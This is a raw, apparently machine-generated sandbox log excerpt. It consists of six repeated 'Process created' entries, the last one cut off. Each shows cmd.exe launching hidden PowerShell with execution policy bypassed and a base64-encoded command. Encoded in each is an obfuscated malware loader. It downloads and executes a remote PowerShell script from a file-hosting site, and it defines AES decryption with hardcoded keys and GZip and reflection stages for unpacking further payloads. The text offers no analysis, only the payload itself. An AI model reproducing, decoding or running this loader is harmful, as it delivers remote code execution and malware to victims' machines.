                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3J